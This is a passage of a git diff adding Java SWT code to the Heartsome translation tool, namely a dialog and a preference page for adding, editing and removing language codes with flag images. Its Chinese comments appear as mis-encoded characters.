imageLabel.setData(this.imagePath); + } else { + if (image != null && !image.isDisposed()) { + image.dispose(); + } + image = new Image(getShell().getDisplay(), bundlePath + "images/preference/system/no-pic.png"); + } + imageLabel.setImage(image); + } catch (IOException e) { + e.printStackTrace(); + } + + imageLabel.setToolTipText(Messages.getString("languagecode.AddOrUpdateLanguageDialog.imageLabel")); + imageLabel.addListener(SWT.MouseUp, new Listener() { + + public void handleEvent(Event event) { + FileDialog dlg = new FileDialog(getShell()); + dlg.setFilterExtensions(new String[] { "*.png" }); + String path = dlg.open(); + if (path != null) { + ImageData data = new ImageData(path).scaledTo(16, 12); + if (image != null && !image.isDisposed()) { + image.dispose(); + } + image = new Image(getShell().getDisplay(), data); + imageLabel.setImage(image); + imageLabel.setData(path); + } + } + }); + new Label(tparent, SWT.NONE).setText(Messages.getString("languagecode.AddOrUpdateLanguageDialog.lblImage")); + + lbl = new Label(tparent, SWT.NONE); + lbl.setText(Messages.getString("languagecode.AddOrUpdateLanguageDialog.txtCode")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lbl); + txtCode = new Text(tparent, SWT.BORDER); + txtCode.setLayoutData(txtData); + txtCode.setText(strCode == null ? "" : strCode); + + lbl = new Label(tparent, SWT.NONE); + lbl.setText(Messages.getString("languagecode.AddOrUpdateLanguageDialog.txtName")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lbl); + txtName = new Text(tparent, SWT.BORDER); + txtName.setLayoutData(txtData); + txtName.setText(strName == null ? "" : strName); + + lbl = new Label(tparent, SWT.NONE); + lbl.setText(Messages.getString("languagecode.AddOrUpdateLanguageDialog.isBidi")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lbl); + btnIsBidi = new Button(tparent, SWT.RADIO); + btnIsBidi.setText(Messages.getString("languagecode.AddOrUpdateLanguageDialog.btnIsBidi")); + + btnIsNotBidi = new Button(tparent, SWT.RADIO); + btnIsNotBidi.setText(Messages.getString("languagecode.AddOrUpdateLanguageDialog.btnIsNotBidi")); + + if (blnIsBidi) { + btnIsBidi.setSelection(true); + } else { + btnIsNotBidi.setSelection(true); + } + tparent.computeSize(SWT.DEFAULT, SWT.DEFAULT); + txtCode.forceFocus(); + txtCode.selectAll(); + return tparent; + } + + @Override + public void okPressed() { + if (txtCode.getText() == null || "".equals(txtCode.getText().trim())) { //$NON-NLS-1$ + MessageDialog.openInformation(getShell(), + Messages.getString("languagecode.AddOrUpdateLanguageDialog.msgTitle"), + Messages.getString("languagecode.AddOrUpdateLanguageDialog.msg1")); + txtCode.forceFocus(); + return; + } + + if (intType == DIALOG_ADD) { + if (languageModel.getLanguagesMap().containsKey(txtCode.getText())) { + MessageDialog.openInformation(getShell(), + Messages.getString("languagecode.AddOrUpdateLanguageDialog.msgTitle"), + Messages.getString("languagecode.AddOrUpdateLanguageDialog.msg2")); + return; + } + } else if (intType == DIALOG_EDIT) { + if (!txtCode.getText().equals(strCode) && languageModel.getLanguagesMap().containsKey(txtCode.getText())) { + MessageDialog.openInformation(getShell(), + Messages.getString("languagecode.AddOrUpdateLanguageDialog.msgTitle"), + Messages.getString("languagecode.AddOrUpdateLanguageDialog.msg2")); + return; + } + } + + if (txtName.getText() == null || "".equals(txtName.getText().trim())) { //$NON-NLS-1$ + MessageDialog.openInformation(getShell(), + Messages.getString("languagecode.AddOrUpdateLanguageDialog.msgTitle"), + Messages.getString("languagecode.AddOrUpdateLanguageDialog.msg3")); + txtName.forceFocus(); + return; + } + + String status = parse(txtCode.getText()); + if (!status.equals("")) { //$NON-NLS-1$ + MessageBox box = new MessageBox(getShell(), SWT.ICON_QUESTION | SWT.YES | SWT.NO); + box.setMessage(status + Messages.getString("languagecode.AddOrUpdateLanguageDialog.msg4")); //$NON-NLS-1$ + if (box.open() == SWT.NO) { + return; + } + } + + imagePath = (String) imageLabel.getData(); + if (imagePath == null) { + imagePath = ""; + } + strCode = txtCode.getText(); + strName = txtName.getText(); + blnIsBidi = btnIsBidi.getSelection(); + close(); + } + + public void setStrCode(String strCode) { + this.strCode = strCode; + } + + public void setStrName(String strName) { + this.strName = strName; + } + + public void setBlnIsBidi(boolean blnIsBidi) { + this.blnIsBidi = blnIsBidi; + } + + public void setLanguageModel(LanguageModel languageModel) { + this.languageModel = languageModel; + } + + public String getStrCode() { + return strCode; + } + + public String getStrName() { + return strName; + } + + public boolean isBlnIsBidi() { + return blnIsBidi; + } + + /** @return the imagePath */ + public String getImagePath() { + return imagePath; + } + + /** + * @param imagePath + * the imagePath to set + */ + public void setImagePath(String imagePath) { + this.imagePath = imagePath; + } + + private String parse(String string) { + if (string.length() == 2) { + if (TextUtil.getISO639(string, CoreActivator.ISO639_1_PAHT).equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ + return Messages.getString("languagecode.AddOrUpdateLanguageDialog.msg5"); //$NON-NLS-1$ + } + return ""; //$NON-NLS-1$ + } + if (string.length() == 3) { + if (TextUtil.getISO639(string, CoreActivator.ISO639_2_PAHT).equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ + return Messages.getString("languagecode.AddOrUpdateLanguageDialog.msg6"); //$NON-NLS-1$ + } + return ""; //$NON-NLS-1$ + } + if (string.length() == 5) { + if (string.charAt(2) != '-') { + return Messages.getString("languagecode.AddOrUpdateLanguageDialog.msg7"); //$NON-NLS-1$ + } + String lang = string.substring(0, 2); + if (TextUtil.getISO639(lang, CoreActivator.ISO639_1_PAHT).equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ + return Messages.getString("languagecode.AddOrUpdateLanguageDialog.msg5"); //$NON-NLS-1$ + } + String country = string.substring(3); + if (TextUtil.getCountryName(country).equals("")) { //$NON-NLS-1$ + return Messages.getString("languagecode.AddOrUpdateLanguageDialog.msg8"); //$NON-NLS-1$ + } + return ""; //$NON-NLS-1$ + } + return Messages.getString("languagecode.AddOrUpdateLanguageDialog.msg9"); //$NON-NLS-1$ + } + + /** + * (non-Javadoc) + * @see org.eclipse.jface.dialogs.Dialog#close() + */ + public boolean close() { + if (image != null && !image.isDisposed()) { + image.dispose(); + } + return super.close(); + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/languagesetting/LanguageCodesPreferencePage.java b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/languagesetting/LanguageCodesPreferencePage.java new file mode 100644 index 0000000..4fd51f6 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui/src/net/heartsome/cat/common/ui/languagesetting/LanguageCodesPreferencePage.java @@ -0,0 +1,840 @@ +package net.heartsome.cat.common.ui.languagesetting; + +import java.io.File; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.ui.Activator; +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.common.ui.resource.Messages; + +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IBaseLabelProvider; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.TreeViewer; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerComparator; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.swt.widgets.TreeColumn; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferenceConstants; +import org.eclipse.ui.IWorkbenchPreferencePage; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.dialogs.FilteredTree; +import org.eclipse.ui.dialogs.PatternFilter; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * TS 应用中语言代ç è®¾ç½®çš„首选项页 + * @author cheney + * @since JDK1.6 + */ +public class LanguageCodesPreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + public LanguageCodesPreferencePage() { + } + + public static final Logger logger = LoggerFactory.getLogger(LanguageCodesPreferencePage.class); + public static final String ID = "net.heartsome.cat.ts.ui.preferencepage.languagecode.LanguageCodesPreferencePage"; + + // 标识当å‰æ“作类型 + private static final int EDIT = 1; + private static final int REMOVE = 2; + + /** + * The number of items to show in the bindings table tree. + */ + private static final int LANGUAGE_CODE_COLUMN = 0; + private static final int LANGUAGE_NAME_COLUMN = 1; + private static final int LANGUAGE_BIDI_COLUMN = 2; + private static int NUM_OF_COLUMNS = LANGUAGE_BIDI_COLUMN + 1; + + private Map imageCache = new HashMap(); + private Image isBidiImage = Activator.getImageDescriptor("images/preference/system/is-bidi.png").createImage(); + private Button addBtn; + private Button editBtn; + private Button removeBtn; + private FilteredTree fFilteredTree; + + // 数字格示显示数æ®çš„示例 Label + private Label digitalValue; + + // è´§å¸æ ¼ç¤ºæ˜¾ç¤ºæ•°æ®çš„示例 Label + private Label currencyValue; + + // 时间格示显示数æ®çš„示例 Label + private Label timeValue; + + // 短日期格示显示数æ®çš„示例 Label + private Label shortDateValue; + + // 长日期格示显示数æ®çš„示例 Label + private Label longDateValue; + private LanguageModel languageModel; + + @Override + protected Control createContents(Composite parent) { + Composite page = initContents(parent); + fill(); + // setProperty(); + addListener(); + return page; + } + + // 对需è¦æ·»åŠ ç›‘å¬çš„控件添加相应的监å¬å™¨ + private void addListener() { + // æ·»åŠ è¯­è¨€åˆ—è¡¨é€‰æ‹©äº‹ä»¶ç›‘å¬ + fFilteredTree.getViewer().addSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + ISelection selection = event.getSelection(); + if (selection.isEmpty()) { + return; + } + // 暂时注释 + // if (selection instanceof IStructuredSelection) { + // refreshFormatControls((IStructuredSelection) selection); + // } + } + }); + + // 注册添加按钮的选择监å¬å™¨ + addBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + addLanguage(); + } + }); + + // 注册编辑按钮的选择监å¬å™¨ + editBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + verifyCurrentSelected(EDIT); + } + }); + + // 注册删除按钮的选择监å¬å™¨ + removeBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + verifyCurrentSelected(REMOVE); + } + }); + } + + // 验è¯å½“å‰çš„选择是å¦åˆæ³•ï¼Œå¦‚æžœåˆæ³•ï¼Œæ ¹æ®æ“作类型进行åŽç»­çš„æ“作 + protected void verifyCurrentSelected(int operateType) { + ISelection selection = fFilteredTree.getViewer().getSelection(); + if (selection.isEmpty()) { + String messagePattern = Messages.getString("languagecode.LanguageCodesPreferencePage.msg1"); + Object[] values = new String[0]; + if (operateType == EDIT) { + values = new String[] { Messages.getString("languagecode.LanguageCodesPreferencePage.msg2") }; + } else if (operateType == REMOVE) { + values = new String[] { Messages.getString("languagecode.LanguageCodesPreferencePage.msg3") }; + } + String message = MessageFormat.format(messagePattern, values); + MessageDialog.openInformation(fFilteredTree.getShell(), + Messages.getString("languagecode.LanguageCodesPreferencePage.msgTitle"), message); + return; + } else if (operateType == EDIT && fFilteredTree.getViewer().getTree().getSelectionCount() > 1) { + MessageDialog.openInformation(fFilteredTree.getShell(), + Messages.getString("languagecode.LanguageCodesPreferencePage.msgTitle"), + Messages.getString("languagecode.LanguageCodesPreferencePage.msg4")); + return; + } + if (selection instanceof IStructuredSelection) { + IStructuredSelection iStructuredSelection = (IStructuredSelection) selection; + Object object = iStructuredSelection.getFirstElement(); + if (object instanceof Language) { + if (operateType == EDIT) { + Language language = (Language) object; + editLanguage(language); + } else if (operateType == REMOVE) { + // 删除所选择的语言 + if(MessageDialog.openConfirm(fFilteredTree.getShell(), Messages.getString("languagecode.LanguageCodesPreferencePage.msgTitle"), + Messages.getString("languagecode.LanguageCodesPreferencePage.msg5"))){ + removeLanguage(iStructuredSelection.toList()); + } + } + } + } + } + + // 删除当å‰é€‰æ‹©çš„语言 + protected void removeLanguage(List languages) { + try { + String bundlePath = FileLocator.toFileURL(Activator.getDefault().getBundle().getEntry("")).getPath(); + for (Object object : languages) { + if (object instanceof Language) { + Language lang = (Language) object; + languageModel.removeLanguage(lang); + LocaleService.getLanguageConfiger().deleteLanguageByCode(lang.getCode()); + String imgPath = lang.getImagePath(); + if (!imgPath.equals("")) { + File file = new File(bundlePath + imgPath); + if (file.exists()) { + file.delete(); + } + } + } + } + } catch (IOException e) { + logger.error(Messages.getString("languagecode.LanguageCodesPreferencePage.logger4"), e); + e.printStackTrace(); + } + // refresh the viewer + Tree tree = fFilteredTree.getViewer().getTree(); + try { + tree.setRedraw(false); + fFilteredTree.getViewer().refresh(); + } finally { + tree.setRedraw(true); + } + + } + + // 编辑列表中所选择的语言 + protected void editLanguage(Language language) { + String oldStrCode = language.getCode(); + String oldImagePath = language.getImagePath(); + AddOrUpdateLanguageDialog dialog = new AddOrUpdateLanguageDialog(fFilteredTree.getShell(), + AddOrUpdateLanguageDialog.DIALOG_EDIT); + dialog.setStrCode(oldStrCode); + dialog.setStrName(language.getName()); + dialog.setBlnIsBidi(language.isBidi()); + dialog.setLanguageModel(languageModel); + dialog.setImagePath(language.getImagePath()); + if (dialog.open() == IDialogConstants.OK_ID) { + try { + String bundlePath = FileLocator.toFileURL(Activator.getDefault().getBundle().getEntry("")).getPath(); + String newStrCode = dialog.getStrCode(); + String newImagePath = dialog.getImagePath(); + String resultImagePath = ""; + + // ----处ç†å›¾ç‰‡å¼€å§‹ + if (newImagePath.equals("") && !oldImagePath.equals("")) { + File oldImgFile = new File(bundlePath + oldImagePath); + if (oldImgFile.exists()) { + oldImgFile.delete(); + Image im = imageCache.remove(newStrCode); + if (im != null && !im.isDisposed()) { + im.dispose(); + } + } + } else { + if (!oldImagePath.equals(newImagePath)) { + if (!oldImagePath.equals("")) { + File oldImgFile = new File(bundlePath + oldImagePath); + if (oldImgFile.exists()) { + oldImgFile.delete(); + Image im = imageCache.remove(newStrCode); + if (im != null && !im.isDisposed()) { + im.dispose(); + } + } + } + // å¤åˆ¶æ–°æ–‡ä»¶ + File newImgFile = new File(newImagePath); + if (newImgFile.exists()) { + resultImagePath = "images/lang/" + newStrCode + ".png"; + File rsImgFile = new File(bundlePath + resultImagePath); + if (!rsImgFile.exists()) { + rsImgFile.createNewFile(); + } + ResourceUtils.copyFile(newImgFile, rsImgFile); + } + } else { + resultImagePath = oldImagePath; + } + }// ----图片处ç†ç»“æŸ + + if (!oldStrCode.equals(newStrCode)) { // 修改过代ç ï¼Œéœ€è¦åˆ é™¤åŽŸæ¥çš„语言é…置,é‡æ–°å†™å…¥æ–°å½•å…¥çš„ + LocaleService.getLanguageConfiger().deleteLanguageByCode(oldStrCode); // 删除é…置文件 + languageModel.getLanguagesMap().remove(oldStrCode); // 删除界é¢ä¸­çš„æ•°æ® + language.setCode(newStrCode); + language.setName(dialog.getStrName()); + language.setBidi(dialog.isBlnIsBidi()); + language.setImagePath(resultImagePath); + LocaleService.getLanguageConfiger().addLanguage(language); // 新增到é…置文件 + languageModel.getLanguagesMap().put(newStrCode, language); // æ–°å¢žåˆ°ç•Œé¢ + } else { + String newStrName = dialog.getStrName(); + boolean newIsBidi = dialog.isBlnIsBidi(); + // if (!newStrName.equals(oldStrName) || oldIsBidi != newIsBidi \) { + language.setName(newStrName); + language.setBidi(newIsBidi); + language.setImagePath(resultImagePath); + LocaleService.getLanguageConfiger().updateLanguageByCode(oldStrCode, language); // æ›´æ–°é…置文件 + languageModel.getLanguagesMap().put(oldStrCode, language); // æ›´æ–°ç•Œé¢ + // } + } + } catch (IOException e) { + logger.error(Messages.getString("languagecode.LanguageCodesPreferencePage.logger3"), e); + e.printStackTrace(); + } + } + // åˆ·æ–°ç•Œé¢ + Tree tree = fFilteredTree.getViewer().getTree(); + try { + tree.setRedraw(false); + fFilteredTree.getViewer().refresh(); + } finally { + tree.setRedraw(true); + } + } + + // 添加新的语言 + protected void addLanguage() { + AddOrUpdateLanguageDialog dialog = new AddOrUpdateLanguageDialog(fFilteredTree.getShell(), + AddOrUpdateLanguageDialog.DIALOG_ADD); + dialog.setLanguageModel(languageModel); + if (dialog.open() == IDialogConstants.OK_ID) { + String strCode = dialog.getStrCode(); + String imagePath = dialog.getImagePath(); + String resultImagePath = ""; + if (!imagePath.equals("")) { + File imgFile = new File(imagePath); + if (imgFile.exists()) { + try { + String bundlePath = FileLocator.toFileURL(Activator.getDefault().getBundle().getEntry("")) + .getPath(); + String rsImagePath = bundlePath + "images/lang/" + strCode + ".png"; + File rsImgFile = new File(rsImagePath); + if (!rsImgFile.exists()) { + rsImgFile.createNewFile(); + } + ResourceUtils.copyFile(imgFile, rsImgFile); + } catch (IOException e) { + logger.error(Messages.getString("languagecode.LanguageCodesPreferencePage.logger2"), e); + e.printStackTrace(); + } + } + resultImagePath = "images/lang/" + strCode + ".png"; + } + Language language = new Language(strCode, dialog.getStrName(), resultImagePath, dialog.isBlnIsBidi()); + LocaleService.getLanguageConfiger().addLanguage(language); + languageModel.getLanguages().add(language); + languageModel.getLanguagesMap().put(strCode, language); + } + Tree tree = fFilteredTree.getViewer().getTree(); + try { + tree.setRedraw(false); + fFilteredTree.getViewer().refresh(); + } finally { + tree.setRedraw(true); + } + } + + /** + * æ ¹æ®å½“å‰é€‰æ‹©çš„语言,更新数字ã€è´§å¸ç­‰çš„显示示例 + * @param selection + * ; + */ + protected void refreshFormatControls(IStructuredSelection selection) { + Object firstSelected = selection.getFirstElement(); + if (firstSelected instanceof Language) { + Language language = (Language) firstSelected; + digitalValue.setText(language.getName()); + digitalValue.setToolTipText(language.getName()); + + currencyValue.setText(language.getName()); + currencyValue.setToolTipText(language.getName()); + + timeValue.setText(language.getName()); + timeValue.setToolTipText(language.getName()); + + shortDateValue.setText(language.getName()); + shortDateValue.setToolTipText(language.getName()); + + longDateValue.setText(language.getName()); + longDateValue.setToolTipText(language.getName()); + } + } + + private void fill() { + fFilteredTree.getViewer().setInput(languageModel); + } + + /** + * 构建界é¢æ˜¾ç¤ºæŽ§ä»¶ + * @param parent + * 顶层容器 ; + */ + private Composite initContents(Composite parent) { + + final Composite page = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(1, false); + layout.marginWidth = 0; + page.setLayout(layout); + + // ä¸æ˜¾ç¤ºè¿‡æ»¤æ–‡æœ¬æ¡† + PlatformUI.getPreferenceStore().setDefault(IWorkbenchPreferenceConstants.SHOW_FILTERED_TEXTS, false); + + Group groupParent = new Group(page, SWT.None); + groupParent.setLayout(new GridLayout()); + groupParent.setLayoutData(new GridData(GridData.FILL_BOTH)); + groupParent.setText(Messages.getString("languagecode.LanguageCodesPreferencePage.groupParent")); + + HsImageLabel imageLabel = new HsImageLabel( + Messages.getString("languagecode.LanguageCodesPreferencePage.imageLabel"), + Activator.getImageDescriptor("images/preference/system/sys_language_code_32.png")); + Composite cmp = imageLabel.createControl(groupParent); + cmp.setLayout(new GridLayout()); + Composite cmpTemp = (Composite) imageLabel.getControl(); + cmpTemp.setLayoutData(new GridData(GridData.FILL_BOTH)); + Composite cmpContent = new Composite(cmpTemp, SWT.None); + cmpContent.setLayout(layout); + GridData data = new GridData(GridData.FILL_BOTH); + data.horizontalSpan = 2; + cmpContent.setLayoutData(data); + + // 放置过滤文本框的容器 + createFilterControls(cmpContent); + + // 创建添加ã€åˆ é™¤æŒ‰é’® + createLanguageControls(page); + + // 暂注释掉 创建与当å‰è¯­è¨€åŒºåŸŸç›¸å…³çš„æ•°å­—ã€è´§å¸ã€æ—¶é—´ã€çŸ­æ—¥æœŸã€é•¿æ—¥æœŸçš„æ ¼å¼æ˜¾ç¤ºæŽ§ä»¶ + // createLocaleFormatControls(page); + imageLabel.computeSize(); + // cmpContent.computeSize(SWT.DEFAULT, SWT.DEFAULT); + return page; + } + + /** + * ========================暂注释掉
    + * 创建与当å‰è¯­è¨€åŒºåŸŸç›¸å…³çš„æ•°å­—ã€è´§å¸ã€æ—¶é—´ã€çŸ­æ—¥æœŸã€é•¿æ—¥æœŸçš„æ ¼å¼æ˜¾ç¤ºæŽ§ä»¶ + * @param parent + * ; + */ + // private void createLocaleFormatControls(Composite parent) { + // Composite formatControls = new Composite(parent, SWT.NONE); + // formatControls.setLayout(new GridLayout(3, false)); + // formatControls.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + // + // GridData gridData; + // + // // 标题 + // Label title = new Label(formatControls, SWT.NONE); + // gridData = new GridData(GridData.HORIZONTAL_ALIGN_BEGINNING); + // gridData.horizontalSpan = 3; + // title.setLayoutData(gridData); + // title.setText("使用此格å¼æ˜¾ç¤ºæ•°æ®çš„示例:"); + // title.setToolTipText("使用此格å¼æ˜¾ç¤ºæ•°æ®çš„示例"); + // + // // æ•°å­— + // Label digitalLabel = new Label(formatControls, SWT.NONE); + // gridData = new GridData(SWT.BEGINNING); + // digitalLabel.setLayoutData(gridData); + // digitalLabel.setText("数字:"); + // digitalLabel.setToolTipText("æ•°å­—"); + // + // digitalValue = new Label(formatControls, SWT.CENTER); + // gridData = new GridData(SWT.FILL, SWT.BEGINNING, true, false); + // gridData.horizontalSpan = 2; + // digitalValue.setLayoutData(gridData); + // + // // è´§å¸ + // Label currencyLabel = new Label(formatControls, SWT.NONE); + // gridData = new GridData(SWT.BEGINNING); + // currencyLabel.setLayoutData(gridData); + // currencyLabel.setText("è´§å¸ï¼š"); + // currencyLabel.setToolTipText("è´§å¸"); + // + // currencyValue = new Label(formatControls, SWT.CENTER); + // gridData = new GridData(SWT.FILL, SWT.BEGINNING, true, false); + // gridData.horizontalSpan = 2; + // currencyValue.setLayoutData(gridData); + // + // // 时间 + // Label timeLabel = new Label(formatControls, SWT.NONE); + // gridData = new GridData(SWT.BEGINNING); + // timeLabel.setLayoutData(gridData); + // timeLabel.setText("时间:"); + // timeLabel.setToolTipText("时间"); + // + // timeValue = new Label(formatControls, SWT.CENTER); + // gridData = new GridData(SWT.FILL, SWT.BEGINNING, true, false); + // gridData.horizontalSpan = 2; + // timeValue.setLayoutData(gridData); + // + // // 短日期 + // Label shortDateLabel = new Label(formatControls, SWT.NONE); + // gridData = new GridData(SWT.BEGINNING); + // shortDateLabel.setLayoutData(gridData); + // shortDateLabel.setText("短日期:"); + // shortDateLabel.setToolTipText("短日期"); + // + // shortDateValue = new Label(formatControls, SWT.CENTER); + // gridData = new GridData(SWT.FILL, SWT.BEGINNING, true, false); + // gridData.horizontalSpan = 2; + // shortDateValue.setLayoutData(gridData); + // + // // 长日期 + // Label longDateLabel = new Label(formatControls, SWT.NONE); + // gridData = new GridData(SWT.BEGINNING); + // longDateLabel.setLayoutData(gridData); + // longDateLabel.setText("长日期:"); + // longDateLabel.setToolTipText("长日期"); + // + // longDateValue = new Label(formatControls, SWT.CENTER); + // gridData = new GridData(SWT.FILL, SWT.BEGINNING, true, false); + // gridData.horizontalSpan = 2; + // longDateValue.setLayoutData(gridData); + // + // Button customize = new Button(formatControls, SWT.BORDER); + // gridData = new GridData(SWT.RIGHT, SWT.BEGINNING, true, false); + // gridData.horizontalSpan = 3; + // customize.setLayoutData(gridData); + // customize.setText("自定义此格å¼â€¦â€¦"); + // customize.setToolTipText("自定义此格å¼â€¦â€¦"); + // + // } + + /** + * 创建添加ã€åˆ é™¤æŒ‰é’® + * @param parent + * 项层容器 ; + */ + private void createLanguageControls(Composite parent) { + Composite btnsComposite = new Composite(parent, SWT.NONE); + btnsComposite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, false, false, 1, 1)); + btnsComposite.setLayout(new GridLayout(3, true)); + + addBtn = new Button(btnsComposite, SWT.NONE); + GridData gd_addBtn = new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1); + addBtn.setLayoutData(gd_addBtn); + addBtn.setText(Messages.getString("languagecode.LanguageCodesPreferencePage.addBtn")); + // addBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + editBtn = new Button(btnsComposite, SWT.NONE); + GridData gd_editBtn = new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1); + editBtn.setLayoutData(gd_editBtn); + editBtn.setText(Messages.getString("languagecode.LanguageCodesPreferencePage.editBtn")); + // editBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + removeBtn = new Button(btnsComposite, SWT.NONE); + removeBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + removeBtn.setText(Messages.getString("languagecode.LanguageCodesPreferencePage.removeBtn")); + // removeBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + } + + /** + * 创建包å«è¿‡æ»¤æ–‡æœ¬çš„ TreeViewer + * @param parent + * 顶层容器 ; + */ + private void createFilterControls(Composite parent) { + + fFilteredTree = new FilteredTree(parent, SWT.BORDER | SWT.MULTI | SWT.FULL_SELECTION, new PatternFilter(), true); + + GridData gridData; + final GridLayout layout = new GridLayout(1, false); + layout.marginWidth = 0; + fFilteredTree.setLayout(layout); + gridData = new GridData(); + gridData.grabExcessHorizontalSpace = true; + gridData.grabExcessVerticalSpace = true; + gridData.horizontalAlignment = SWT.FILL; + gridData.verticalAlignment = SWT.FILL; + fFilteredTree.setLayoutData(gridData); + + final TreeViewer viewer = fFilteredTree.getViewer(); + // ç¡®ä¿ filtered tree 有显示 ITEMS_TO_SHOW 的高度 + final Tree tree = viewer.getTree(); + tree.setHeaderVisible(true); + tree.setLinesVisible(true); + final Object layoutData = tree.getLayoutData(); + if (layoutData instanceof GridData) { + gridData = (GridData) layoutData; + gridData.heightHint = parent.getSize().y; // é€‚åº”å¤§å° + } + + LanguageCodeComparator comparator = new LanguageCodeComparator(); + + final TreeColumn codeColumn = new TreeColumn(tree, SWT.LEFT, LANGUAGE_CODE_COLUMN); + codeColumn.setText(Messages.getString("languagecode.LanguageCodesPreferencePage.codeColumn")); + tree.setSortColumn(codeColumn); + tree.setSortColumn(codeColumn); + tree.setSortDirection(SWT.UP); + codeColumn.addSelectionListener(new ResortColumn(comparator, codeColumn, viewer, LANGUAGE_CODE_COLUMN)); + + final TreeColumn nameColumn = new TreeColumn(tree, SWT.LEFT, LANGUAGE_NAME_COLUMN); + nameColumn.setText(Messages.getString("languagecode.LanguageCodesPreferencePage.nameColumn")); + nameColumn.addSelectionListener(new ResortColumn(comparator, nameColumn, viewer, LANGUAGE_NAME_COLUMN)); + + final TreeColumn bidiColumn = new TreeColumn(tree, SWT.LEFT, LANGUAGE_BIDI_COLUMN); + bidiColumn.setText(Messages.getString("languagecode.LanguageCodesPreferencePage.bidiColumn")); + bidiColumn.addSelectionListener(new ResortColumn(comparator, bidiColumn, viewer, LANGUAGE_BIDI_COLUMN)); + + viewer.setContentProvider(new LanguageCodeContentProvider()); + viewer.setLabelProvider(new LanguageCodeLabelProvider()); + viewer.setComparator(comparator); + viewer.addDoubleClickListener(new IDoubleClickListener() { + + public void doubleClick(DoubleClickEvent event) { + verifyCurrentSelected(EDIT); + } + }); + + fFilteredTree.getPatternFilter().setIncludeLeadingWildcard(true); + final TreeColumn[] columns = viewer.getTree().getColumns(); + + columns[LANGUAGE_CODE_COLUMN].setWidth(100); + columns[LANGUAGE_NAME_COLUMN].setWidth(240); + columns[LANGUAGE_BIDI_COLUMN].setWidth(100); + } + + public void init(IWorkbench workbench) { + languageModel = new LanguageModel(); + noDefaultAndApplyButton(); + } + + @Override + protected void performDefaults() { + super.performDefaults(); + } + + @Override + public boolean performOk() { + // getPreferenceStore().setValue(IPreferenceConstants.LANGUAGECODE, ""); + return true; + } + + private class LanguageCodeLabelProvider extends LabelProvider implements ITableLabelProvider { + + public Image getColumnImage(Object element, int columnIndex) { + Language language = (Language) element; + String code = language.getCode(); + if (columnIndex == 0) { + String imagePath = language.getImagePath(); + if (imagePath != null && !imagePath.equals("")) { + ImageDescriptor imageDesc = Activator.getImageDescriptor(imagePath); + if (imageDesc != null) { + ImageData data = imageDesc.getImageData().scaledTo(16, 12); + Image image = new Image(getShell().getDisplay(), data); + + // 销æ¯åŽŸæ¥çš„图片 + Image im = imageCache.put(code, image); + if (im != null && !im.isDisposed()) { + im.dispose(); + } + + return image; + } + } + } + if (columnIndex == 2) { + if (language.isBidi()) { + return isBidiImage; + } + } + return null; + + } + + public String getColumnText(Object element, int columnIndex) { + Language language = (Language) element; + switch (columnIndex) { + case 0: + return language.getCode(); + case 1: + return language.getName(); + default: + return " "; + } + } + } + + private class LanguageCodeContentProvider implements ITreeContentProvider { + + public Object[] getChildren(Object parentElement) { + if (parentElement instanceof LanguageModel) { + return ((LanguageModel) parentElement).getLanguages().toArray(); + } + return new Object[0]; + } + + public Object getParent(Object element) 